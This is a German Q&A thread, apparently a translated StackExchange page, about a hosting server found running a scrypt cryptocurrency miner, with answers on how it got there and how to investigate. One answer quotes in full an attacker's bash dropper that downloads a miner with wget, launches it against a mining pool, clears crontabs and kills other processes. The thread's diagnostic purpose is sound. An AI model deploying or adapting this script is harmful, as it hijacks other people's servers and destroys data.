Wurde ich gehackt?

8

Ich betreibe einen dedizierten Server, auf dem ich kürzlich eine hohe CPU-Auslastung festgestellt habe, und überprüfe die Prozesse. Es scheint, dass jemand (Mick Account) auf meinem Server Mining durchgeführt hat. Wie ist das möglich? Der Prozess ist unten. Ich habe das Konto gesperrt. Was müsste ich sonst noch tun?

25516 mick  30  10  778m 6728 1132 S 740.5  0.2   8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B
Booboo
quelle
Überprüfen Sie die Cronjobs für jeden Benutzer.
Tejas
5
Ein bisschen mehr Informationen darüber, ob Sie dieses Konto erstellt haben und wer Zugriff hat, wären hilfreich. Wenn Sie der einzige sind, der Zugriff haben sollte, werden Sie wahrscheinlich gehackt -> von Grund auf neu installiert.
Anthon
Es ist ein Webhosting-Server, der das Plesk-Kontrollfeld verwendet. Es gibt mehrere Clients auf dem Server mit verschiedenen Domänen usw.
Booboo
Die Clients haben keinen Root-Zugriff auf den Server, nur FTP
Booboo
2
Dies sieht aus wie ein Scrypt Cryptocoin Miner.
TheDoctor

Antworten:

11

Wenn Sie einen Webserver ausführen, der serverseitiges Scripting (PHP, Ruby usw.) ermöglicht, ist dies sehr einfach.

Der Benutzer muss lediglich ein Skript generieren, in das eine Datei heruntergeladen /tmp/sh64und anschließend ausgeführt wird. Web-Skripte müssen normalerweise in der Lage sein, externe Programme auszuführen. Daher ist diese Art von Aktivität schwer zu verhindern.

Wenn es sich bei dem mickKonto um dasselbe Konto handelt, mit dem die Web-Skripte des Benutzers ausgeführt wurden, würde ich sagen, dass Sie nicht gehackt werden. Nur ein Benutzer, der sein Konto missbraucht.

Wenn Sie dieses Verhalten verhindern möchten, gibt es nur wenige Möglichkeiten, es zu verhindern. Sie können das Aufrufen externer Programme entweder nicht zulassen. Oder Sie können so etwas wie lange laufende Programme beenden (alles, was zum Beispiel länger als 60 Sekunden läuft).
Ohne weitere Details zu Ihrem Setup zu kennen, ist es schwierig, die beste Vorgehensweise zu bestimmen.

Patrick
quelle
1
Wie verbiete ich das Aufrufen externer Programme
Booboo
Ihre Optionen variieren. Ich würde eine weitere Frage stellen. Geben Sie an, wie Ihr Webserver eingerichtet ist und welche Skriptsprache Ihre Clients verwenden. Eine einfache Chroot könnte funktionieren, braucht aber die Details.
Patrick
2

Ich hatte ein ähnliches Problem. Sie nutzten eine veraltete Version des NRPE-Agenten von Nagios, wgetum ein Skript auszuführen, mit dem der Bitcoin Miner von Sourceforge installiert und konfiguriert wurde (der NRPE-Dämon hatte ihn dont_blame_nrpeaktiviert). Ich habe nichts gefunden, was darauf hindeutet, dass der Versuch auf meinem Computer andauernd war.

Dies ist das Skript, das für die Installation und Einrichtung des Bitcoin Miner verwendet wurde:

#!/bin/bash

miner_path="/tmp/tester"
miner_path2="/tmp/var/tester"
miner_path3="/dev/shm/tester"
stratum="stratum+tcp://multi1.wemineall.com:80"
worker="weedee.1"
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
name="work.sh"
if [ -z "$myproc" ]
then    
    system=`uname -a`
    i686=`echo $system|grep i686`
    if ! [ -z "$i686" ]
      then

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664640&use_mirror=netcologne"
      else

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664665&use_mirror=netcologne"
    fi

    dll=`wget -q -O $miner_path $url;tar zxvf $miner_path -C /var/tmp/;mv /var/tmp/minerd $miner_path;chmod +x $miner_path`
    spwn=`$miner_path -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /var/tmp/ trying in /dev/shm
    if [ -z "$myproc" ]
    then
        #dll=`wget $url -O $miner_path2;chmod +x $miner_path2`
        dll=`wget -q -O $miner_path2 $url;tar zxvf $miner_path2 -C /tmp/;mv /tmp/minerd $miner_path2;chmod +x $miner_path2`
        spwn=`$miner_path2 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /tmp/ trying in /tmp
    if [ -z "$myproc" ]
    then        
        dll=`wget -q -O $miner_path3 $url;tar zxvf $miner_path3 -C /dev/shm/;mv /dev/shm/minerd $miner_path3;chmod +x $miner_path3`
        spwn=`$miner_path3 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi  

myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
  crontab -r
 fi  
 crontab -r
rm -rf /var/tmp/*.sh
kill -9 `ps x | grep -v nagios | grep -v nrpe | grep -v PID | grep -v $name | grep -v tester | grep -v grep | awk '{print $1}'

Dieses Skript wurde vollständig als Nagios-Benutzer ausgeführt, sodass kein Root-Zugriff erforderlich war.

mtak
quelle
2

Ihr System wurde definitiv kompromittiert oder im schlimmsten Fall gehackt. Es gibt andere Geschichten, die beschreiben, wie ein ähnlicher Bergmann installiert wird.

Ich würde die Position einnehmen, dass Ihr System kompromittiert wurde, und alles Kritische daraus machen, damit Sie es sichern können, wenn es nicht bereits getan wird.

Analyse

Wenn Sie neugierig sind, wie sie dazu gekommen sind, müssen Sie eine vollständige Liste der von Ihnen installierten Dienste (Web, MySQL usw.) abrufen und prüfen, ob es aktive Exploits gibt, mit denen jemand erhöhte Berechtigungen erlangen kann.

Ich würde mit allen Web-Aktivierungen beginnen, bei denen es sich um webbasierte Anwendungen handelt. In der Regel können diese Anwendungen überfüllt werden und können den Stack des Webservers so ändern, dass zusätzliche Anwendungen installiert werden können.

Es ist der Fall, dass diese Art von Kompromissen isolierte Vorfälle sein können. Das einfache Entfernen der fehlerhaften Software und der Malware kann also ausreichen, um sie auszurotten, ohne den Zeitaufwand für eine vollständige Wiederherstellung / Einrichtung des Systems zu tragen.

Wenn dieses System mit einem VPS-basierten Image erstellt würde, würde ich mit dem Anbieter zusammenarbeiten, da das Patchen für alle Kunden in ihrem besten Interesse zu sein scheint.

Über die bloße Kompromittierung des Webstacks hinaus

Alles auf der Box muss überprüft werden und ist im Wesentlichen nicht vertrauenswürdig, aber ich würde mir etwas Zeit nehmen, um zu sehen, ob Sie nicht herausfinden können, von wo aus sich die Angreifer anmelden, wenn überhaupt. Möglicherweise melden sie sich mit SSH-Konten an, die dem System nach einer Gefährdung hinzugefügt wurden.

Dies kann eine mühsame Aufgabe sein, deren Analyse viele Tage in Anspruch nimmt, insbesondere wenn Sie keinem der Tools auf der Box vertrauen können, die Sie bei diesem Vorhaben unterstützen. Ich würde jedem empfehlen, sich diese Zeit zu nehmen, um zu verstehen, wie sein System kompromittiert wurde, damit Sie das Risiko verringern können, dass es in Zukunft erneut auftritt, zumindest durch diesen bestimmten Vektor.

Wenn dies kein Produktionsproblem ist, ist dies tatsächlich eine gute Gelegenheit, um wertvolle Einblicke zu gewinnen, wie Systeme kompromittiert und der Zugriff von Angreifern "genutzt" werden kann.

Silberstreif?

Da das System für Mining-Zwecke verwendet wird, ist es wahrscheinlich, dass sie ein automatisiertes Skript-Tool-Set verwendet haben, da es viel Zeit in Anspruch nehmen würde, genügend Systeme anzugreifen, um Zombie-Miner einzurichten. Wenn Werkzeuge wie diese verwendet werden, sind sie in ihrer Konstruktion normalerweise mangelhaft und versuchen nur, das Nötigste zu tun, um Fuß zu fassen und dann ihre Nutzlast (die Mining-Software) zu liefern, sodass Sie möglicherweise Glück haben und zusätzliche Einblicke erhalten wie sie hineinkommen konnten.

slm
quelle
4
Nicht unbedingt. Wenn der Webserver serverseitiges Scripting zulässt und das mickKonto der Benutzer ist, der zum Ausführen der Skripte verwendet wird, kann dies problemlos durchgeführt werden, ohne den Server zu hacken. Missbrauch, ja. Hack, nein.
Patrick
@Patrick - sehr wahr, ich habe das A geändert, um dies widerzuspiegeln. Vielen Dank.
slm